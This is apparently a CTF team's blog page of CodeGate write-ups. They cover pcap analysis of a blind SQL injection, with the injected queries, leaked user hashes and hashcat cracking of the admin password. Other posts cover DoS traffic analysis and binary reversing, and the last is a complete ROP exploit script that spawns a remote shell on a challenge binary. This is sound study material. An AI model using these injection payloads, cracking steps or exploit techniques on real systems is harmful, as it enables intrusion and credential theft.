CodeGate 2012 Quals – Network 400

March 1, 2012 by pdah · Leave a Comment 

Challenge

Because of vulnerability of site in Company A, database which contains user’s information was leaked. The file is dumped packet at the moment of attacking.
Find the administrator’s account information which was leaked from the site.
For reference, some parts of the packet was blind to XXXX.

Answer : strupr(md5(database_name|table_name|decode(password_of_admin)))
(’|'is just a character)

http://repo.shell-storm.org/CTF/CodeGate-2012/Network400/80924D4296FCBE81EA5F09CF60542AE7

Summary

Given a pcap file (again) captured from an attack, we need to find information about database name, table name, administrator’s password in plaintext.
This challenge requires basic network analysis skill, some knowledge of Blind SQL Injection and password recovery tools.

Solution

Browsing the pcap file using wireshark, this is obviously a Blind SQL Injection attack.

GET /sc/id_check.php?name=music%27%20AND%20%27Ohavy%27=%27Ohavyy HTTP/1.1
Accept-Encoding: identity
Accept-Language: en-us,en;q=0.5
Host: www.cdgate.xxx
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15)
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: close

HTTP/1.1 200 OK
Date: Wed, 22 Feb 2012 09:01:54 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-2ubuntu4.1
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html

GET /sc/id_check.php?name=music%27%20AND%20%27Ohavy%27=%27Ohavy HTTP/1.1
Accept-Encoding: identity
Accept-Language: en-us,en;q=0.5
Host: www.cdgate.xxx
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15)
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: close

HTTP/1.1 200 OK
Date: Wed, 22 Feb 2012 09:01:54 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-2ubuntu4.1
Vary: Accept-Encoding
Content-Length: 4
Connection: close
Content-Type: text/html

Some first requests are just for checking the responses of server to some random injected queries. We can easily notice that if the expressions in injected queries return False, HTTP response will have “Content-Length: 0”, otherwise the expressions return True. Another thing is that all the attacking queries had the same pattern of … [EXPRESSION] > [VALUE] … As the operators were all ‘>’, for each [EXPRESSION] we only need to catch the last [VALUE] of ‘False’ responses.

We created a python script to parse this pcap file:

import sys
from scapy.all import *
import urllib, string

packets = rdpcap("network400")
len_packets = len(packets)
l1 = []
l2 = []
i = 0
while i < len_packets:
    if 'Raw' in packets[i] and packets[i].payload.dst == '192.168.1.41':
        l1.append(urllib.unquote(str(packets[i]['Raw']).split("\r")[0]))
        while True:
            i+=1
            if 'Raw' in packets[i]:
                if packets[i].payload.dst == '192.168.1.8':
                    content = str(packets[i]['Raw'])
                    if 'Content-Length: 0' in content:
                        l2.append(False)
                    else:
                        l2.append(True)
                    break
    i+=1
for i in range(len(l1)):
    print l1[i]
    print l2[i]

Here’s a part of the output:


GET /sc/id_check.php?name=music’ AND CONNECTION_ID()=CONNECTION_ID() AND ‘YOxWw’='YOxWw HTTP/1.1
True
GET /sc/id_check.php?name=music’ AND ISNULL(1/0) AND ‘wSwEm’='wSwEm HTTP/1.1
True
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) > 51 AND ‘zqAWP’='zqAWP HTTP/1.1
True
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) > 54 AND ‘zqAWP’='zqAWP HTTP/1.1
True
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) > 56 AND ‘zqAWP’='zqAWP HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) > 55 AND ‘zqAWP’='zqAWP HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 2, 1)) > 51 AND ‘zqAWP’='zqAWP HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 2, 1)) > 48 AND ‘zqAWP’='zqAWP HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 2, 1)) > 1 AND ‘zqAWP’='zqAWP HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR(10000)), CHAR(32)) FROM information_schema.SCHEMATA), 1, 1)) > 51 AND ‘yFdDA’='yFdDA HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR(10000)), CHAR(32)) FROM information_schema.SCHEMATA), 1, 1)) > 48 AND ‘yFdDA’='yFdDA HTTP/1.1
True
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR(10000)), CHAR(32)) FROM information_schema.SCHEMATA), 1, 1)) > 49 AND ‘yFdDA’='yFdDA HTTP/1.1
True

We extended the script to print out only the leaked characters


import sys
from scapy.all import *
import urllib
packets = rdpcap("network400")
len_packets = len(packets)

cur_s = None
last_false_value = None
result = ""
i=0
while i < len_packets:
    if ('Raw' in packets[i]) and (packets[i].payload.dst == '192.168.1.41'):
        query = urllib.unquote(str(packets[i]['Raw']).split("\r")[0])
        if ">" in query:
            s,v = query.split(">")
            v=chr(int(v.strip().split(" ")[0]))
            if cur_s != s and last_false_value != None:
                result+= last_false_value
            cur_s = s
        else:
            v = None
        while True:
            i+=1
            if 'Raw' in packets[i]:
                if packets[i].payload.dst == '192.168.1.8':
                    content = str(packets[i]['Raw'])
                    if 'Content-Length: 0' in content:
                        last_false_value = v
                    break

    i+=1
print result

The output looks better (but lack of information about queries):

2
information_schema
cdgate
17
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
1
member
3
cdgate
6
name
id
email
sex
level
passwd
11
monitor@cdgate.xxx
08b5411f848a2581a41672a759c87380
2
monitor
*1763CA06A6BF4E96A671D674E855043A9C7886B2
f
apple@cdgate.xxx
apple
3
apple
*C5404E97FF933A91C48743E0C4063B2774F052DD
m
music@cdgate.xxx
music
6
music
*DBA29A581E9689455787B273C91D77F03D7FAD5B
m
computer@cdgate.xxx
computer
2
computer
*8E4ADF66627261AC0DE1733F55C7A0B72EC113FB
f
com@cdgate.xxx
com
3
com
*FDDA9468184E298A054803261A4753FF4657E889
f
lyco@cdgate.xxx
lynco
4
*EEFD19E63FA33259154630DE24A2B17772FAC630
*0ECBFBFE8116C7612A537E558FB7BE1293576B78
f
mouse@cdgate.xxx
mouse
4
*87A5750BB01F1E52060CF8EC90FB1344B1D413AA
*6FF638106693EF27772523B0D5C9BFAF4DD292F1
m
root@cdgate.xxx
root
6
root
*300102BEB9E4DABEB8BD60BB9BB6686A6272C787
f
desktop@cdgate.xxx
desktop
1
desktop
*DDD9B83818DB7B634C88AD49396F54BD0DE31677
f
www@cdgate.xxx
4eae35f1b35977a00ebd8086c259d4c9
8
www
*3E8563E916A490A13918AF7385B8FF865C221039
f
notebook@cdgate.xxx
notebook
8
fb5d1b4a2312e239652b13a24ed9a74f
*18DF7FA3EE218ACB28E69AF1D643091052A95887
m

By combining outputs of these 2 scripts we could see that database is cdgate and table name is member. These information were followed by a number of member records, the value for each record were in order of email, id, level, name, password, sex. There was only one user desktop@cdgate.xxx with level=1, the password was hashed hence we let hashcat do the rest:

$ echo DDD9B83818DB7B634C88AD49396F54BD0DE31677 > hash
$ ./hashcat-cli64.bin -m300 -a3 --bf-cs-buf=abcdefghijklmnopqrstuvwxyz0123456789 hash outdir
................
Charset...: abcdefghijklmnopqrstuvwxyz0123456789
Length....: 6
Index.....: 0/1 (segment), 2176782336 (words), 0 (bytes)
Recovered.: 0/1 hashes, 0/1 salts
Speed/sec.: - plains, 13.99M words
Progress..: 1360425204/2176782336 (62.50%)
Running...: 00:00:01:37
Estimated.: 00:00:00:58
ddd9b83818db7b634c88ad49396f54bd0de31677:etagcd
All hashes have been recovered

Bingo! The password is etagcd, it’s time to build the flag:

>>> hashlib.md5('cdgate|member|etagcd').hexdigest().upper();
'AB6FCA7FFC88710CFBC37D5DF9A25F3F'
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Codegate 2012 Quals – Network 200

March 1, 2012 by pdah · Leave a Comment 

Challenge

To whom it may concern to DoS attack.
What is the different between attack and normal traffic?
Attached PCAP file is from suspicious client PC which may be infected.
If you find TOP 4 targeting address, let me know exactly information such as below.
Answer:
COUNTRY_NAME_TOP1(3)COUNTRY_NAME_TOP2(13)COUNTRY_NAME_TOP3(2)COUNTRY_NAME_TOP4(5)_1.1.1.1_2.2.2.2_3.3.3.3_4.4.4.4

http://repo.shell-storm.org/CTF/CodeGate-2012/Network200/A565CF2670A7D77603136B69BF93EA45

Summary
Given a pcap file, our task is to find top 4 targeting addresses of a DoS attack. This challenge requires network analysis skill with some experiences of DoS attack.

Solution

We wrote a small python script to generate the statistics of packets:

from scapy.all import *
import operator
packets = rdpcap("network200")
stats = {}
for packet in packets:
    try:
        dst = packet.payload.dst
        if dst not in stats: stats[dst] = 0
        stats[dst] += 1
    except:
        pass
for k,v in sorted(stats.iteritems(), key=operator.itemgetter(1))[::-1]:
    print k,v

Here’s a part of output:

111.221.70.11 52620
1.2.3.4 12670
109.123.118.42 2960
174.35.40.44 637
220.73.139.203 452
123.214.170.56 375
199.7.48.190 311
220.73.139.201 280
8.8.8.8 248
74.125.71.94 208
208.46.163.42 186
175.158.10.55 146
174.35.40.43 145
74.125.71.120 120
74.125.71.104 116
69.171.234.16 103
66.150.14.48 99
61.110.213.19 94
184.28.147.55 84
174.35.40.45 82
110.45.229.135 82
199.59.149.232 79
61.106.27.72 77
184.169.76.33 68
74.125.71.157 62
211.174.53.236 56
174.35.40.6 55
208.94.0.38 54

Then we checked one by one from the top of our list using WireShark:

  • 111.221.70.11 is obviously under SYN flood attack.
  • 109.123.118.42 is flooded by HTTP GET requests.
  • 199.7.48.190 is under RUDY attack (POST requests with very large Content-Length).
  • 66.150.14.48 has some abnormal HTTP Requests.

Using ip2location.com, we got the country names in respective order:

  • Singapore
  • United Kingdom
  • United States
  • United States

FLAG: none_111.221.70.11_109.123.118.42_199.7.48.190_66.150.14.48

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

CodeGate 2012 Quals bin400 writeup

February 28, 2012 by admin · Leave a Comment 

Thanks to Deroko and some ARTeam members to play with CLGT. Below is the write up by Deroko posted on http://www.xchg.info/wiki/index.php?title=CodeGate2012_bin400

CodeGate2012 bin400

Challenge: The Rewolf in Kaspersky
Link to challenge : http://deroko.phearless.org/codegate2012/bin/bin400.zip

So Rewolf vm, is packed with something called KasperSky according toProtectionID (never heard of this packer ). Unpacking is trivial, like with any simple packer. Run to OEP, dump, fix imports:

Here is OEP for ReWolf VM:

Rewolf oep.png

And here is OEP for original program (note you need to dump at ReWolf VM, but importrec will work only properly if you use this OEP) :

Real oep.png

Once we have file dumped, we might run it to get idea how it actually looks like:

Appwindow.png

Not much there :( 1st time I pressed some key while program was focused I got an exception:

Exception.png
Exception code.png

At first I thought that my dump is broken, so I tried with original application, same thing happened. Hmmm so this is common problem, but challenge is definitely not broken, so we need to see what’s going on, and trace instruction per instruction in ReWolf VM.

After a little bit of tracing I noticed that exception comes after virtualized jcc is executed, because next instruction size is wrong. (From exception you can see thatecx is quite big number which it should not be):

0041D000   50               PUSH EAX            <----- start of jcc opcode
0041D001   9C               PUSHFD
0041D002   58               POP EAX
0041D003   53               PUSH EBX
0041D004   E8 00000000      CALL test.0041D009
0041D009   5B               POP EBX
0041D00A   8D5453 08        LEA EDX,DWORD PTR DS:[EBX+EDX*2+8]
0041D00E   5B               POP EBX
0041D00F   FFE2             JMP EDX

If jcc is taked edx is set to 1, otherwise edx is 0.

0041D0DE   33D2             XOR EDX,EDX                              ; test.0041D023
0041D0E0   EB 04            JMP SHORT test.0041D0E6
0041D0E2   33D2             XOR EDX,EDX
0041D0E4   EB 01            JMP SHORT test.0041D0E7
0041D0E6   42               INC EDX
0041D0E7   50               PUSH EAX
0041D0E8   9D               POPFD
0041D0E9   58               POP EAX
0041D4AA   5A               POP EDX                <---- pop EIP (jcc not taken)
0041D4AB   58               POP EAX
0041D4AC  ^E9 2CFFFFFF      JMP test.0041D3DD
0041D4B1   0FB657 03        MOVZX EDX,BYTE PTR DS:[EDI+3]
0041D4B5   FF7424 08        PUSH DWORD PTR SS:[ESP+8]
0041D4B9   9D               POPFD
0041D4BA   E8 41FBFFFF      CALL test.0041D000
0041D4BF   85D2             TEST EDX,EDX
0041D4C1  ^74 E7            JE SHORT test.0041D4AA
0041D4C3   5A               POP EDX
0041D4C4   0357 04          ADD EDX,DWORD PTR DS:[EDI+4] <--- increment EIP (jcc taken)
0041D4C7   034F 04          ADD ECX,DWORD PTR DS:[EDI+4]
0041D4CA   58               POP EAX
0041D4CB  ^E9 5AFEFFFF      JMP test.0041D32A

[edi+4] = 00000104

0041D32A   8BF2             MOV ESI,EDX
0041D32C   46               INC ESI
0041D32D   8A02             MOV AL,BYTE PTR DS:[EDX]           <--- size of next instruction
0041D32F   3242 01          XOR AL,BYTE PTR DS:[EDX+1]         <--- xor 1st 2 bytes to get proper sie
0041D332   0FB6C0           MOVZX EAX,AL
0041D335   50               PUSH EAX                           <--- size of instruction passed to memcpy
0041D336   56               PUSH ESI
0041D337   57               PUSH EDI
0041D338   E8 D8050000      CALL test.0041D915                 <--- memcpy

BOOM Exception

0041DB10  25 93 97 B6 C4 C5 89 8A                          %“—¶ÄʼnŠ

Instruction size is calculated as 25 ^ 93 = B6 which is wrong for instruction size in this case.

At this point I decided to try and patch jcc vm handler so jcc will not be taken:

Patch.png

and then I typed something:

Firstcharacter.png

And then I just kept pressing keys:

Okunlocked.png

Press OK and you get the key:

Finalkey.png

So correct key for bin400 is : WonderFul_lollol_!

Greetings

I would like to say tnx to my ARTeam mates, vnsecurity guys, and of coursesuperkhung for listening to my random blabing on skype during CTF :)

Author

deroko of ARTeam


Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

CodeGate 2012 Quals bin500 writeup

February 28, 2012 by admin · Leave a Comment 

Thanks to Deroko and some ARTeam members to play with CLGT. Below is the write up by Deroko posted on http://www.xchg.info/wiki/index.php?title=CodeGate2012_bin500

CodeGate2012 bin500

Challenge: Seeing that it is not all.
Link to challenge: http://deroko.phearless.org/codegate2012/bin/bin500.zip

This binary is double ReWolf vm, and python script for modified Olly by Immunity.

Script which comes with binary uses marshal.loads to load already compiled pyc code which was produced with marshal.dump

To get .pyc back we need to make some modification to our script:

Modifiedscript.png

Now C:\test.pyc will have dump of python bytecode.

If you look carefully through script, some strings might look like a clue:

readMemory
getRegs
EIP
Nice work, Key1 :
But, Find Next Key!
Nice work, Key2 :
Input Key : Key1 + Key2
Nothing Found ...

So this script will probably try to read from current EIP some bytes (readMemory + EIP are good hint), and make key out of it. After modifying test.pyc to have proper layout:

00000000  03 f3 0d 0a dc dd e2 4c  63 00 00 00 00 00 00 00  |.......Lc.......|
00000010  00 02 00 00 00 40 00 00  00 73 22 00 00 00 64 00  |.....@...s"...d.|
00000020  00 64 01 00 6c 00 00 5a  00 00 64 02 00 84 00 00  |.d..l..Z..d.....|

Which is actually 4 bytes for python signature4 bytes for timestamp +marshal.dump() data we get .pyc file which we can decompile.

For sake of this solution, we will use some simple program to dump python byte-code, and one I found here:http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html

After disassembling binary with this python script we get (I cut not important parts):

             15 LOAD_ATTR                2 (readMemory)
             18 LOAD_CONST               1 (4237456)
             21 LOAD_CONST               2 (80)
             24 CALL_FUNCTION            2

So from address 40A890 it will read 80 bytes and keep it in internal buffer.

Now comes interesting part when it actually gets keys:

 19          54 LOAD_FAST                4 (regs)
             57 LOAD_CONST               3 ('EIP')
             60 BINARY_SUBSCR
             61 LOAD_CONST               4 (4273157)
             64 COMPARE_OP               2 (==)
             67 POP_JUMP_IF_FALSE      161

and

 23     >>  161 LOAD_FAST                4 (regs)
            164 LOAD_CONST               3 ('EIP')
            167 BINARY_SUBSCR
            168 LOAD_CONST              15 (4278021)
            171 COMPARE_OP               2 (==)
            174 POP_JUMP_IF_FALSE      276

If you look at out.txt (in attachment) you may also see what’s read from where as this python script is not complicated, and python byte code is quite easy to understand.

So just set EIP to be 413405 and run script, and you will get 1st key. Then set EIP to be 414705 and run scrip again. If you did, everything correct you should see in Log of Immunity Debugger this:

Key.png

So final key is Never_up_N3v3r_1n

Greetings

I would like to say tnx to my ARTeam mates, vnsecurity guys, and rd , and of course to superkhung for listening to my random blabing on skype during CTF :)

Author

deroko of ARTeam

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Return-oriented-programming practice: exploiting CodeGate 2010 Challenge 5

April 18, 2010 by longld · 4 Comments 

In my previous post about CodeGate 2010 Challenge 5 exploit, I mentioned the weakness of accessing server to get execl() address. In this post I will show how to blindly exploit the “harder” program without access to the remote server using return-oriented-programming technique.

ROP introduction

A worth to read post about ROP introduction can be found on Zynamics blog: http://blog.zynamics.com/2010/03/12/a-gentle-introduction-to-return-oriented-programming/

In summary: we will use return-into-instructions (called gadgets) to build and execute our payload when controlled EIP and ESP from vulnerable program.

ROP limitations (difficulties):

  • ASLR: the same as return-into-libc, it’s difficult to locate address of instructions in library (e.g libc)
  • ASCII-armor address: with ascii-armor remapping of libraries (e.g libc), addresses will contain NULL byte so chaining return-into-libc calls and ROP is impossible if there’s NULL filter in input

The “harder” case

Fortunately, we can blindly exploit the “harder” program using ROP because it provides some “advantages” in code:

  • getline(): can pass NULL byte to input
  • printf(): can leak runtime memory info (bypass ASLR)

Finding ROP gadgets

Our target is to invoke execve(”/bin/sh”, 0, 0) syscall, which is equivalent to prepare registers’ value then trigger kernel syscall:

eax = 0xb // execve
ebx = address of “/bin/sh”
ecx = 0 // argv
edx = 0 // env

Searching in harder binary, we found below gadgets:

  • eax:
    80483a4:    58                       pop    %eax
    80483a5:    5b                       pop    %ebx
    80483a6:    c9                       leave
    80483a7:    c3                       ret
  • ebx & ecx:
    8048634:    59                       pop    %ecx
    8048635:    5b                       pop    %ebx
    8048636:    c9                       leave
    8048637:    c3                       ret

    “/bin/sh” is placed on target buffer, its address is available by leaking via printf()

  • edx:
    There’s no edx related gadget but observing that when returned from memcpy() edx’s value is set to esi so we can assign esi to 0×0 first then return again to main to nullify edx.

    0x001ba506 :    mov    edx,esi
    80485e6:    5e                       pop    %esi
    80485e7:    5f                       pop    %edi
    80485e8:    5d                       pop    %ebp
    80485e9:    c3                       ret
  • syscall:
    In recent Linux kernel, syscall is usually performed via linux gate: call gs:[0x10]. By return to back to printf() in harder program many times, we can find the offset from getline() to first syscall is 319 bytes.
  • moving stack:
    After “leave; ret” our stack will be moved to new location pointing by ebp. We can control this by set ebp back to somewhere in the middle of target buffer.

Exploit code


#!/usr/bin/env python

import socket
import sys
import struct
import telnetlib

#host = 'ctf4.codegate.org'
host = '127.0.0.1'
port = 9005

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((host, port))

buf=""
# bypass first read
buf = c.recv(1024)

# getline() address
buf = "A"*268 + struct.pack('i', 0x08048524) + struct.pack('i', 0x0804a008) + "\n"
c.send(buf)
buf = c.recv(1024)
addr = ""
getline_addr = int(buf[:4][::-1].encode('hex'), 16)
print "getline() is at:", hex(getline_addr)

# call gs:[0x10] address
offset = 319 # first offset is 319 bytes from getline()
syscall_addr = getline_addr + offset

# buffer address
buf = "%7$x" + "\x00"*260 + struct.pack('i', 0x08048521)*2 + "\n"
c.send(buf)
buf = c.recv(1024)
input_addr = int(buf[:8], 16)
print "Buffer address is at: ", hex(input_addr)

# gadgets address
pop_eax = 0x080483a4
pop_ecx_ebx = 0x08048634
pop_esi = 0x080485e6

# pop esi
buf = "A"*268 + struct.pack('i', pop_esi) + "\x00" * 12 + struct.pack('i', 0x08048524)*2  + "\n"
c.send(buf)
c.recv(1024)

# pop eax then move stack to new address
input_addr += 560 # lifting after 2 getline() calls
new_stack = input_addr+8
buf = "/bin/sh\x00" # /bin/sh
buf += struct.pack('i', new_stack+16) # next ebp after leave from pop_eax
buf += struct.pack('i', pop_ecx_ebx) # next is pop_ecx_ebx
buf += "\x00"*4 # ecx
buf += struct.pack('i', input_addr) # ebx -> /bin/sh
buf += "A"*4 # un-used ebp after leave from pop_ecx_ebx
buf += struct.pack('i', syscall_addr)
buf = buf.ljust(264, "A") # padding
buf += struct.pack('i', new_stack) # new ebp
buf += struct.pack('i', pop_eax)
buf += "\x0b\x00\x00\x00" # execve syscal
buf += "A"*4 # un-used ebx
buf += "\n"

print "Sending final payload ..."
c.send(buf)
c.send("id 2>&1" + "\n"*5)

t = telnetlib.Telnet()
t.sock = c
t.interact()
c.close()
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Next Page »